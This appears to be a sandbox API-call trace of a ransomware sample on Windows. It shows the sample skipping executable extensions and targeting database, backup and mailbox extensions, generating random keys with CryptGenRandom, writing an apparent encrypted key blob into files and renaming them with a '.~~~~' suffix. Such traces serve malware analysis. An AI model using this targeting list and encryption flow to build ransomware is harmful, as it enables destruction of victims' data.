	[0085.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".dbt") returned 0x0
	[0085.734] lstrlenW (lpString=".db") returned 3
	[0085.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".db") returned 0x0
	[0085.734] lstrlenW (lpString=".TXT") returned 4
	[0085.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".TXT") returned 0x0
	[0085.734] lstrlenW (lpString=".MDF") returned 4
	[0085.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".MDF") returned 0x0
	[0085.735] lstrlenW (lpString=".bdb") returned 4
	[0085.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".bdb") returned 0x0
	[0085.735] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0085.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.735] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0085.736] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.736] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0085.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0085.736] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20572655843) returned 1
	[0085.737] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ceb1c70, dwHighDateTime=0x1d60e1e)) 
	[0085.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0085.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0085.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0085.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a60f0
	[0085.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60f0 | out: hHeap=0x300000) returned 1
	[0085.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808e58
	[0085.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808e58 | out: hHeap=0x300000) returned 1
	[0085.737] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0085.737] GetLastError () returned 0x0
	[0085.737] GetLastError () returned 0x0
	[0085.737] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0085.737] GetLastError () returned 0x0
	[0085.738] GetLastError () returned 0x0
	[0085.739] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffdc7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.739] WriteFile (in: hFile=0x120, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x239, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x239, lpOverlapped=0x0) returned 1
	[0085.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0085.739] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.739] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.739] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.739] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.740] CloseHandle (hObject=0x120) returned 1
	[0085.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f7388
	[0085.740] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf.~~~~")) returned 1
	[0085.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f7388 | out: hHeap=0x300000) returned 1
	[0085.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0085.743] GetLastError () returned 0x0
	[0085.743] RtlWakeConditionVariable () returned 0x365f70
	[0085.743] GetCurrentThreadId () returned 0x9f4
	[0085.743] GetCurrentThreadId () returned 0x9f4
	[0085.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f58f0
	[0085.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5558 | out: hHeap=0x300000) returned 1
	[0085.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60b8 | out: hHeap=0x300000) returned 1
	[0085.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5558
	[0085.743] lstrlenW (lpString=".scr") returned 4
	[0085.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0085.743] lstrlenW (lpString=".cmd") returned 4
	[0085.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0085.743] lstrlenW (lpString=".dll") returned 4
	[0085.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0085.743] lstrlenW (lpString=".bat") returned 4
	[0085.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0085.743] lstrlenW (lpString=".cpl") returned 4
	[0085.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0085.743] lstrlenW (lpString=".sys") returned 4
	[0085.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0085.743] lstrlenW (lpString=".msc") returned 4
	[0085.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0085.743] lstrlenW (lpString=".com") returned 4
	[0085.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0085.743] lstrlenW (lpString=".lnk") returned 4
	[0085.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0085.744] lstrlenW (lpString=".msp") returned 4
	[0085.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0085.744] lstrlenW (lpString=".pif") returned 4
	[0085.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0085.744] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0085.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0085.744] lstrlenW (lpString=".sqb") returned 4
	[0085.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0085.744] lstrlenW (lpString=".ost") returned 4
	[0085.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0085.744] lstrlenW (lpString=".txt") returned 4
	[0085.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0085.744] lstrlenW (lpString=".mdt") returned 4
	[0085.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0085.744] lstrlenW (lpString=".BDB") returned 4
	[0085.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0085.745] lstrlenW (lpString=".eql") returned 4
	[0085.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0085.745] lstrlenW (lpString=".DBF") returned 4
	[0085.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0085.745] lstrlenW (lpString=".EQL") returned 4
	[0085.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0085.745] lstrlenW (lpString=".FDB") returned 4
	[0085.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0085.745] lstrlenW (lpString=".EDB") returned 4
	[0085.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0085.745] lstrlenW (lpString=".DACPAC") returned 7
	[0085.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0085.745] lstrlenW (lpString=".VHD") returned 4
	[0085.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0085.745] lstrlenW (lpString=".DBV") returned 4
	[0085.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0085.745] lstrlenW (lpString=".dacpac") returned 7
	[0085.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0085.745] lstrlenW (lpString=".sdf") returned 4
	[0085.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0085.745] lstrlenW (lpString=".accdb") returned 6
	[0085.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0085.745] lstrlenW (lpString=".DBX") returned 4
	[0085.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0085.746] lstrlenW (lpString=".MDT") returned 4
	[0085.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0085.746] lstrlenW (lpString=".SQB") returned 4
	[0085.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0085.746] lstrlenW (lpString=".vhd") returned 4
	[0085.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0085.746] lstrlenW (lpString=".bac") returned 4
	[0085.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0085.746] lstrlenW (lpString=".mdf") returned 4
	[0085.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0085.746] lstrlenW (lpString=".BAK") returned 4
	[0085.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0085.746] lstrlenW (lpString=".BAC") returned 4
	[0085.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0085.746] lstrlenW (lpString=".dbs") returned 4
	[0085.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0085.746] lstrlenW (lpString=".vhdx") returned 5
	[0085.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0085.746] lstrlenW (lpString=".NDF") returned 4
	[0085.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0085.747] lstrlenW (lpString=".dat") returned 4
	[0085.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0085.747] lstrlenW (lpString=".DBS") returned 4
	[0085.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0085.747] lstrlenW (lpString=".CKP") returned 4
	[0085.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0085.747] lstrlenW (lpString=".edb") returned 4
	[0085.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0085.747] lstrlenW (lpString=".PST") returned 4
	[0085.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0085.747] lstrlenW (lpString=".dbf") returned 4
	[0085.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0085.747] lstrlenW (lpString=".SQL") returned 4
	[0085.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0085.747] lstrlenW (lpString=".pst") returned 4
	[0085.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0085.747] lstrlenW (lpString=".dbv") returned 4
	[0085.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0085.747] lstrlenW (lpString=".SDF") returned 4
	[0085.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0085.747] lstrlenW (lpString=".dtxs") returned 5
	[0085.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0085.747] lstrlenW (lpString=".db3") returned 4
	[0085.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0085.747] lstrlenW (lpString=".OST") returned 4
	[0085.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0085.748] lstrlenW (lpString=".dbx") returned 4
	[0085.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0085.748] lstrlenW (lpString=".DB3") returned 4
	[0085.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0085.748] lstrlenW (lpString=".DAT") returned 4
	[0085.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0085.748] lstrlenW (lpString=".VHDX") returned 5
	[0085.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0085.748] lstrlenW (lpString=".ndf") returned 4
	[0085.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0085.748] lstrlenW (lpString=".DB") returned 3
	[0085.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0085.748] lstrlenW (lpString=".sql") returned 4
	[0085.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0085.748] lstrlenW (lpString=".MYD") returned 4
	[0085.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0085.748] lstrlenW (lpString=".DBT") returned 4
	[0085.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0085.748] lstrlenW (lpString=".ACCDB") returned 6
	[0085.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0085.748] lstrlenW (lpString=".fdb") returned 4
	[0085.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0085.748] lstrlenW (lpString=".bak") returned 4
	[0085.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0085.748] lstrlenW (lpString=".myd") returned 4
	[0085.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0085.749] lstrlenW (lpString=".DTXS") returned 5
	[0085.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0085.749] lstrlenW (lpString=".ckp") returned 4
	[0085.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0085.749] lstrlenW (lpString=".dbt") returned 4
	[0085.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0085.749] lstrlenW (lpString=".db") returned 3
	[0085.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0085.749] lstrlenW (lpString=".TXT") returned 4
	[0085.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0085.749] lstrlenW (lpString=".MDF") returned 4
	[0085.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0085.749] lstrlenW (lpString=".bdb") returned 4
	[0085.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0085.749] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0085.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.749] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0085.750] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.750] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0085.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0085.751] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20574079008) returned 1
	[0085.751] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ced7dd0, dwHighDateTime=0x1d60e1e)) 
	[0085.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0085.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0085.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0085.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a60b8
	[0085.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60b8 | out: hHeap=0x300000) returned 1
	[0085.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
